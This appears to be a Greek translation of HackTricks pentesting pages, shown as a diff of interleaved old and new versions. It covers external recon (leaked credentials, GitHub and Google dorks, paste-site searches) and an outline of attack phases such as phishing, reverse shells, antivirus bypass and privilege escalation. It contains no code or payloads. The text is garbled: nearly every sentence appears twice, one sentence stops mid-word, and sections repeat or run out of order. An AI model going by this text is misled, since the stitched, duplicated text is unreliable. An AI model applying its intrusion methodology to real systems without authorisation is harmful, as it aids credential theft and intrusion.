Οι διαρροές διαπιστεύσεων σχετίζονται με επιθέσεις σε εταιρείες όπου **διέρρευσαν και πωλήθηκαν ευαίσθητες πληροφορίες**. Ωστόσο, οι εταιρείες ενδέχεται να επηρεαστούν από **άλλες διαρροές** των οποίων οι πληροφορίες δεν βρίσκονται σε αυτές τις βάσεις δεδομένων:
Οι διαρροές διαπιστευτηρίων σχετίζονται με επιθέσεις σε εταιρείες όπου **ευαίσθητες πληροφορίες διαρρεύσαν και πωλήθηκαν**. Ωστόσο, οι εταιρείες μπορεί να επηρεαστούν από **άλλες διαρροές** των οποίων οι πληροφορίες δεν είναι σε αυτές τις βάσεις δεδομένων:
### Διαρροές στο Github
### Διαρροές Github
Διαρροές διαπιστεύσεων και APIs μπορεί να διαρρεύσουν στα **δημόσια αποθετήρια** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\
Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλα τα **δημόσια αποθετήρια** μιας **οργάνωσης** και των **προγραμματιστών της** και να τρέξετε αυτόματα το [**gitleaks**](https://github.com/zricethezav/gitleaks) πάνω σε αυτά.
Διαπιστευτήρια και APIs μπορεί να έχουν διαρρεύσει στα **δημόσια αποθετήρια** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\
Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλα τα **δημόσια repos** μιας **οργάνωσης** και των **προγραμματιστών** της και να εκτελέσετε [**gitleaks**](https://github.com/zricethezav/gitleaks) πάνω τους αυτόματα.
Το **Leakos** μπορεί επίσης να χρησιμοποιηθεί για να τρέξετε το **gitleaks** ξανά σε όλο το **κείμενο** που παρέχεται με τις **URLs που περνάτε** σε αυτό, καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**.
**Leakos** μπορεί επίσης να χρησιμοποιηθεί για να εκτελέσει **gitleaks** κατά όλων των **κειμένων** που παρέχονται **URLs που του έχουν περαστεί** καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**.
#### Github Dorks
Ελέγξτε επίσης αυτήν τη **σελίδα** για πιθανές **github dorks** που μπορείτε επίσης να αναζητήσετε στον οργανισμό που επιτίθεστε:
Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανά **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %}
### Διαρροές σε Παστες
### Διαρροές Pastes
Μερικές φορές οι επιτιθέμενοι ή απλά οι εργαζόμενοι θα **δημοσιεύσουν περιεχόμενο της εταιρείας σε μια σελίδα επικόλλησης**. Αυτό ενδέχεται να περιέχει ή να μην περιέχει **ευαίσθητες πληροφορίες**, αλλά είναι πολύ ενδιαφέρον να το αναζητήσετε.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**Pastos**](https://github.com/carlospolop/Pastos) για να αναζητήσετε σε περισσότερες από 80 σελίδες επικόλλησης ταυτόχρονα.
Μερικές φορές οι επιτιθέμενοι ή απλώς οι εργαζόμενοι θα **δημοσιεύσουν περιεχόμενο της εταιρείας σε μια ιστοσελίδα paste**. Αυτό μπορεί να περιέχει ή να μην περιέχει **ευαίσθητες πληροφορίες**, αλλά είναι πολύ ενδιαφέρον να το αναζητήσετε.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**Pastos**](https://github.com/carlospolop/Pastos) για να αναζητήσετε σε περισσότερες από 80 ιστοσελίδες paste ταυτόχρονα.
### Google Dorks
Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να τρέξετε χειροκίνητα. Έτσι, μπορείτε να επιλέξετε τις 10 αγαπημένες σας ή να χρησιμοποιήσετε ένα **εργαλείο όπως το** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τις τρέ
## [**Μεθοδολογία Δοκιμών Διείσδυσης Ιστού**](../../network-services-pentesting/pentesting-web/)
Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις αγαπημένες σας 10 ή να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τα εκτελέσετε όλα**.
Η **πλειοψηφία των ευπαθειών** που βρίσκουν οι κυνηγοί ευκαιριών βρίσκεται μέσα σε **ιστοσελίδες**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών ιστοσελίδων**, και μπορείτε [**να βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/).
_Σημειώστε ότι τα εργαλεία που αναμένουν να εκτελέσουν όλη τη βάση δεδομένων χρησιμοποιώντας τον κανονικό περιηγητή Google δεν θα τελειώσουν ποτέ καθώς η Google θα σας μπλοκάρει πολύ πολύ σύντομα._
Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Εργαλεία Αυτόματης Σάρωσης Ιστού με Ανοιχτό Κώδικα**](../../network-services-pentesting/pentesting-web/#automatic-scanners), καθώς, αν και δεν πρέπει να αναμένετε να βρουν πολύ ευαίσθητες ευπαθείες, είναι χρήσιμα για να εφαρμόσετε τα σενάρια σας για να έχετε κάποιες αρχικές πληροφορίες για τον ιστό.
### **Αναζητώντας ευπάθειες**
## Ανακεφαλαιώνοντας
Αν βρείτε **έγκυρα διαρρεύσαντα** διαπιστευτήρια ή API tokens, αυτή είναι μια πολύ εύκολη νίκη.
> Συγχαρητήρια! Σε αυτό το σημείο έχετε ήδη εκτελέσει **όλη τη βασική απαρίθμηση**. Ναι, είναι βασική επειδή μπορεί να γίνει πολύ περισσότερη απαρίθμηση (θα δούμε περισσότερα κόλπα αργότερα).
## Δημόσιες Ευπάθειες Κώδικα
Αν διαπιστώσετε ότι η εταιρεία έχει **ανοιχτό κώδικα** μπορείτε να **αναλύσετε** αυτόν και να αναζητήσετε **ευπάθειες** σε αυτόν.
**Ανάλογα με τη γλώσσα** υπάρχουν διάφορα **εργαλεία** που μπορείτε να χρησιμοποιήσετε:
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
{% endcontent-ref %}
Υπάρχουν επίσης δωρεάν υπηρεσίες που σας επιτρέπουν να **σκανάρετε δημόσια αποθετήρια**, όπως:
* [**Snyk**](https://app.snyk.io/)
## [**Μεθοδολογία Pentesting Web**](../../network-services-pentesting/pentesting-web/)
Η **πλειοψηφία των ευπαθειών** που βρίσκονται από κυνηγούς σφαλμάτων βρίσκεται μέσα σε **web εφαρμογές**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών web εφαρμογών**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/).
Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), καθώς, αν δεν θα πρέπει να περιμένετε να βρουν πολύ ευαίσθητες ευπάθειες, είναι χρήσιμα για να τα εφαρμόσετε σε **ροές εργασίας για να έχετε κάποιες αρχικές πληροφορίες ιστού.**
## Ανακεφαλαίωση
> Συγχαρητήρια! Σε αυτό το σημείο έχετε ήδη εκτελέσει **όλη την βασική καταμέτρηση**. Ναι, είναι βασικό γιατί μπορεί να γίνει πολύ περισσότερη καταμέτρηση (θα δούμε περισσότερα κόλπα αργότερα).
Έτσι έχετε ήδη:
1. Βρείτε όλες τις **εταιρείες** εντός του πεδίου εφαρμογής
2. Βρείτε όλα τα **περιουσιακά στοιχεία** που ανήκουν στις εταιρείες (και εκτελέστε μια σάρωση ευπαθειών αν είναι στο πεδίο εφαρμογής)
3. Βρείτε όλους τους **τομείς** που ανήκουν στις εταιρείες
4. Βρείτε όλα τα **υποτομείδια** των τομέων (κάποια ανάληψη υποτομέα;)
5. Βρείτε όλες τις **IP** (από και **όχι από CDN**) εντός του πεδίου εφαρμογής.
6. Βρείτε όλους τους **διακομιστές ιστού** και πάρτε μια **στιγμιότυπη εικόνα** τους (κάτι περίεργο που αξίζει μια βαθύτερη ματιά;)
7. Βρείτε όλα τα **πιθανά δημόσια περιουσιακά στοιχεία στο cloud** που ανήκουν στην εταιρεία.
8. **Emails**, **διαρροές διαπιστεύσεων**, και **διαρροές μυστικών** που θα μπορούσαν να σας δώσουν μια **μεγάλη νίκη πολύ εύκολα**.
9. **Δοκιμάστε όλες τις ιστοσελίδες που βρήκατε**
1. Βρει όλους τους **τομείς** μέσα στο πεδίο
2. Βρει όλα τα **περιουσιακά στοιχεία** που ανήκουν στις εταιρείες (και εκτελέσει κάποια σάρωση ευπαθειών αν είναι στο πεδίο)
3. Βρει όλους τους **τομείς** που ανήκουν στις εταιρείες
4. Βρει όλους τους **υποτομείς** των τομέων (κάποια υποτομέας takeover;)
5. Βρει όλες τις **IP** (από και **όχι από CDNs**) μέσα στο πεδίο.
6. Βρει όλους τους **διακομιστές ιστού** και πήρε ένα **στιγμιότυπο** από αυτούς (κάτι περίεργο που αξίζει μια πιο βαθιά ματιά;)
7. Βρει όλα τα **πιθανά δημόσια περιουσιακά στοιχεία cloud** που ανήκουν στην εταιρεία.
8. **Emails**, **διαρροές διαπιστευτηρίων**, και **διαρροές μυστικών** που θα μπορούσαν να σας δώσουν μια **μεγάλη νίκη πολύ εύκολα**.
9. **Pentesting όλων των ιστότοπων που βρήκατε**
## **Εργαλεία Αυτόματης Πλήρους Αναγνώρισης**
## **Πλήρη Αυτόματα Εργαλεία Αναγνώρισης**
Υπάρχουν πολλά εργαλεία εκεί έξω που θα εκτελέσουν μέρος των προτεινόμενων ενεργειών εναντίον ενός συγκεκριμένου πεδίου.
Υπάρχουν αρκετά εργαλεία εκεί έξω που θα εκτελέσουν μέρος των προτεινόμενων ενεργειών κατά ενός δεδομένου πεδίου.
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Λίγο παλιό και μην ενημερώνεται
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Λίγο παλιό και όχι ενημερωμένο
## **Αναφορές**
* Όλα τα δωρεάν μαθήματα του [**@Jhaddix**](https://twitter.com/Jhaddix) όπως το [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
* Όλα τα δωρεάν μαθήματα του [**@Jhaddix**](https://twitter.com/Jhaddix) όπως [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για μια **καριέρα στο χάκινγκ** και να χακεύετε το αχάκιστο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικού_).
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη πολωνική γραπτή και προφορική_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,119 +1,137 @@
# Μεθοδολογία Ελέγχου Εισβολής
# Pentesting Methodology
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέυτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικού_).
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά_).
{% embed url="https://www.stmcyber.com/careers" %}
## Μεθοδολογία Ελέγχου Εισβολής
## Pentesting Methodology
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
_Τα λογότυπα του Hacktricks σχεδιάστηκαν από_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
_Τα λογότυπα Hacktricks σχεδιάστηκαν από_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
### 0- Φυσικές Επιθέσεις
Έχετε **φυσική πρόσβαση** στον υπολογιστή που θέλετε να επιτεθείτε; Θα πρέπει να διαβάσετε μερικά [**κόλπα σχετικά με φυσικές επιθέσεις**](../hardware-physical-access/physical-attacks.md) και άλλα σχετικά με [**διαφυγή από εφαρμογές GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
Έχετε **φυσική πρόσβαση** στη μηχανή που θέλετε να επιτεθείτε; Πρέπει να διαβάσετε μερικά [**κόλπα σχετικά με φυσικές επιθέσεις**](../hardware-physical-access/physical-attacks.md) και άλλα σχετικά με [**διαφυγή από εφαρμογές GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
### 1 - [Ανακάλυψη υπολογιστών μέσα στο δίκτυο](pentesting-network/#discovering-hosts)/ [Ανακάλυψη Περιουσιών της εταιρείας](external-recon-methodology/)
### 1 - [Ανακάλυψη hosts μέσα στο δίκτυο](pentesting-network/#discovering-hosts)/ [Ανακάλυψη περιουσιακών στοιχείων της εταιρείας](external-recon-methodology/)
**Ανάλογα** με το **τεστ** που εκτελείτε είτε είναι **εσωτερικό είτε εξωτερικό τεστ** μπορεί να σας ενδιαφέρει να βρείτε **υπολογιστές μέσα στο δίκτυο της εταιρείας** (εσωτερικό τεστ) ή **να βρείτε περιουσίες της εταιρείας στο διαδίκτυο** (εξωτερικό τεστ).
**Ανάλογα** με το αν η **δοκιμή** που εκτελείτε είναι **εσωτερική ή εξωτερική δοκιμή**, μπορεί να σας ενδιαφέρει να βρείτε **hosts μέσα στο εταιρικό δίκτυο** (εσωτερική δοκιμή) ή **να βρείτε περιουσιακά στοιχεία της εταιρείας στο διαδίκτυο** (εξωτερική δοκιμή).
{% hint style="info" %}
Σημειώστε ότι αν εκτελείτε ένα εξωτερικό τεστ, αφού καταφέρετε να αποκτήσετε πρόσβαση στο εσωτερικό δίκτυο της εταιρείας θα πρέπει να επανεκκινήσετε αυτόν τον οδηγό.
Σημειώστε ότι αν εκτελείτε μια εξωτερική δοκιμή, μόλις καταφέρετε να αποκτήσετε πρόσβαση στο εσωτερικό δίκτυο της εταιρείας, θα πρέπει να επανεκκινήσετε αυτόν τον οδηγό.
{% endhint %}
### **2-** [**Διασκεδάζοντας με το δίκτυο**](pentesting-network/) **(Εσωτερικό)**
### **2-** [**Διασκεδάζοντας με το δίκτυο**](pentesting-network/) **(Εσωτερική)**
**Αυτή η ενότητα ισχύει μόνο αν εκτελείτε ένα εσωτερικό τεστ.**\
Πριν επιτεθείτε σε έναν υπολογιστή ίσως προτιμήσετε να **κλέψετε κάποια διαπιστευτήρια** **από το δίκτυο** ή **να κάνετε sniff** κάποια **δεδομένα** για να μάθετε **παθητικά/ενεργά (MitM)** τι μπορείτε να βρείτε μέσα στο δίκτυο. Μπορείτε να διαβάσετε το [**Ελέγχος Εισβολής Δικτύου**](pentesting-network/#sniffing).
**Αυτή η ενότητα ισχύει μόνο αν εκτελείτε μια εσωτερική δοκιμή.**\
Πριν επιτεθείτε σε έναν host, ίσως προτιμήσετε να **κλέψετε κάποια διαπιστευτήρια** **από το δίκτυο** ή να **συλλέξετε** κάποια **δεδομένα** για να μάθετε **παθητικά/ενεργά (MitM)** τι μπορείτε να βρείτε μέσα στο δίκτυο. Μπορείτε να διαβάσετε [**Pentesting Network**](pentesting-network/#sniffing).
### 3- [Σάρωση Θυρών - Ανακάλυψη Υπηρεσιών](pentesting-network/#scanning-hosts)
### 3- [Σάρωση Θυρών - Ανακάλυψη υπηρεσιών](pentesting-network/#scanning-hosts)
Το πρώτο πράγμα που πρέπει να κάνετε όταν **ψάχνετε για ευπάθειες σε έναν υπολογιστή** είναι να γνωρίζετε ποιες **υπηρεσίες τρέχουν** σε ποιες θύρες. Ας δούμε τα [**βασικά εργαλεία για τη σάρωση θυρών των υπολογιστών**](pentesting-network/#scanning-hosts).
Το πρώτο πράγμα που πρέπει να κάνετε όταν **ψάχνετε για ευπάθειες σε έναν host** είναι να γνωρίζετε ποιες **υπηρεσίες εκτελούνται** σε ποιες θύρες. Ας δούμε τα [**βασικά εργαλεία για σάρωση θυρών hosts**](pentesting-network/#scanning-hosts).
### **4-** [Αναζήτηση εκμεταλλεύσεων εκδοχής υπηρεσιών](search-exploits.md)
### **4-** [Αναζητώντας εκμεταλλεύσεις εκδόσεων υπηρεσιών](search-exploits.md)
Αφού μάθετε ποιες υπηρεσίες τρέχουν, και ίσως την έκδοσή τους, πρέπει να **αναζητήσετε γνωστές ευπάθειες**. Ίσως έχετε τύχη και υπάρχει ένα εκμετάλλευση για να σας δώσει ένα κέλυφος...
Μόλις γνωρίζετε ποιες υπηρεσίες εκτελούνται, και ίσως την έκδοσή τους, πρέπει να **αναζητήσετε γνωστές ευπάθειες**. Ίσως να έχετε τύχη και να υπάρχει μια εκμετάλλευση που να σας δίνει ένα shell...
### **5-** Ελέγχος Εισβολής Υπηρεσιών
### **5-** Υπηρεσίες Pentesting
Αν δεν υπάρχει κάποια εντυπωσιακή εκμετάλλευση για κάποια τρέχουσα υπηρεσία, θα πρέπει να ψάξετε για **συνηθισμένες λανθάνουσες ρυθμίσεις σε κάθε τρέχουσα υπηρεσία**.
Αν δεν υπάρχει καμία εντυπωσιακή εκμετάλλευση για καμία εκτελούμενη υπηρεσία, θα πρέπει να αναζητήσετε **κοινές κακοδιαμορφώσεις σε κάθε εκτελούμενη υπηρεσία.**
**Μέσα σε αυτό το βιβλίο θα βρείτε οδηγό για τον έλεγχο εισβολής στις πιο συνηθισμένες υπηρεσίες** (και άλλες που δεν είναι τόσο συνηθισμένες)**. Παρακαλώ, αναζητήστε στο αριστερό ευρετήριο την** _**ΕΛΕΓΧΟΣ ΕΙΣΒΟΛΗΣ**_ **ενότητα** (οι υπηρεσίες είναι ταξινομημένες ανά default θύρες).
**Μέσα σε αυτό το βιβλίο θα βρείτε έναν οδηγό για να κάνετε pentest στις πιο κοινές υπηρεσίες** (και άλλες που δεν είναι τόσο κοινές)**. Παρακαλώ, αναζητήστε στον αριστερό δείκτη την** _**ΕΝΟΤΗΤΑ PENTESTING**_ **(οι υπηρεσίες είναι ταξινομημένες κατά τις προεπιλεγμένες θύρες τους).**
**Θέλω να κάνω μια ειδική αναφορά στο** [**Ελέγχο Εισβολής Web**](../network-services-pentesting/pentesting-web/) **μέρος (καθώς είναι το πιο εκτενές).**\
Επίσης, μπορείτε να βρείτε ένα μικρό οδηγό για το [**εντοπισμό γνωστών ευπαθειών σε λογισμικό**](search-exploits.md) εδώ.
**Θέλω να κάνω μια ειδική αναφορά στο** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **μέρος (καθώς είναι το πιο εκτενές).**\
Επίσης, μπορείτε να βρείτε εδώ έναν μικρό οδηγό για το πώς να [**βρείτε γνωστές ευπάθειες σε λογισμικό**](search-exploits.md).
**Αν η υπηρεσία σας δεν υπάρχει στο ευρετήριο, αναζητήστε στο Google** για άλλα εγχειρίδια και **ενημερώστε με αν θέλετε να την προσθέσω.** Αν **δεν μπορείτε να βρείτε κάτι** στο Google, εκτελέστε το **δικό σας τυφλό έλεγχο εισβολής**, μπορείτε να ξεκινήσετε συνδεόμενοι στην υπηρεσία, να την αναζητήσετε και να διαβάσετε τις απαντήσεις (αν υπάρχουν).
**Αν η υπηρεσία σας δεν είναι μέσα στον δείκτη, αναζητήστε στο Google** για άλλους οδηγούς και **ενημερώστε με αν θέλετε να την προσθέσω.** Αν **δεν μπορείτε να βρείτε τίποτα** στο Google, εκτελέστε το **δικό σας τυφλό pentesting**, μπορείτε να ξεκινήσετε με το **να συνδεθείτε στην υπηρεσία, να την fuzzing και να διαβάσετε τις απαντήσεις** (αν υπάρχουν).
#### 5.1 Αυτόματα Εργαλεία
Υπάρχουν επίσης αρκετά εργαλεία που μπορούν να πραγματοποιήσουν **αυτόματη αξιολόγηση ευπαθειών**. **Θα σας πρότεινα να δοκιμάσετε** [**Legion**](https://github.com/carlospolop/legion)**, το οποίο είναι το εργαλείο που δημιούργησα και βασίζεται στις σημειώσεις σχετικά με τον έλεγχο εισβολής υπηρεσιών που μπορείτε να βρείτε σε αυτό το βιβλίο.**
Υπάρχουν επίσης αρκετά εργαλεία που μπορούν να εκτελέσουν **αυτόματες αξιολογήσεις ευπαθειών**. **Σας προτείνω να δοκιμάσετε** [**Legion**](https://github.com/carlospolop/legion)**, το οποίο είναι το εργαλείο που έχω δημιουργήσει και βασίζεται στις σημειώσεις σχετικά με τις υπηρεσίες pentesting που μπορείτε να βρείτε σε αυτό το βιβλίο.**
#### **5.2 Επίθεση με Βία στις Υπηρεσίες**
#### **5.2 Επιθέσεις Brute-Force**
Σε ορισμένα σενάρια μια **Επίθεση με Βία** θα μπορούσε να είναι χρήσιμη για να **καταστρέψετε** μια **υπηρεσία**. [**Βρείτε εδώ ένα CheatSheet με διαφορετικές υπηρεσίες επίθεσης με βία**](brute-force.md)**.**
Σε ορισμένα σενάρια, μια **Brute-Force** μπορεί να είναι χρήσιμη για να **συμβιβάσετε** μια **υπηρεσία**. [**Βρείτε εδώ μια CheatSheet για διαφορετικές υπηρεσίες brute forcing**](brute-force.md)**.**
### 6- [Αλισβεύτευση](phishing-methodology/)
### 6- [Phishing](phishing-methodology/)
Αν μέχρι αυτό το σημείο δεν έχετε βρει κάποια ενδιαφέρουσα ευπάθεια **μπορεί να χρειαστείτε να δοκιμάσετε κάποιο phishing** για να μπείτε στο δίκτυο. Μπορείτε να διαβάσετε τη μεθοδολογία phishing μου [εδώ](phishing-methodology/):
Αν σε αυτό το σημείο δεν έχετε βρει καμία ενδιαφέρουσα ευπάθεια, **μπορεί να χρειαστεί να δοκιμάσετε κάποιο phishing** για να μπείτε στο δίκτυο. Μπορείτε να διαβάσετε τη μεθοδολογία phishing μου [εδώ](phishing-methodology/):
### **7-** [**Λήψη Shell**](shells/)
### **10- Ανόρθωση Προνομίων**
#### **10.1- Τοπική Ανόρθωση**
Με κάποιο τρόπο θα πρέπει να έχετε βρει **κάποιον τρόπο να εκτελέσετε κώδικα** στο θύμα. Στη συνέχεια, [μια λίστα με πιθανά εργαλεία μέσα στο σύστημα που μπορείτε να χρησιμοποιήσετε για να αποκτήσετε ένα reverse shell θα ήταν πολύ χρήσιμη](shells/).
Αν **δεν είστε root/Administrator** μέσα στο σύστημα, θα πρέπει να βρείτε έναν τρόπο για **ανόρθωση προνομίων.**\
Εδώ μπορείτε να βρείτε έναν **οδηγό για την ανόρθωση προνομίων τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Θα πρέπει επίσης να ελέγξετε αυτές τις σελίδες σχετικά με το πώς λειτουργεί το **Windows**:
Ιδιαίτερα στα Windows, μπορεί να χρειαστείτε κάποια βοήθεια για να **αποφύγετε τα antivirus**: [**Ελέγξτε αυτή τη σελίδα**](../windows-hardening/av-bypass.md)**.**\\
* [**Ταυτοποίηση, Διαπιστεύσεις, Δικαιώματα διακριτικών και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
### 8- Μέσα
Αν έχετε προβλήματα με το shell, μπορείτε να βρείτε εδώ μια μικρή **συλλογή από τις πιο χρήσιμες εντολές** για pentesters:
* [**Linux**](../linux-hardening/useful-linux-commands.md)
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
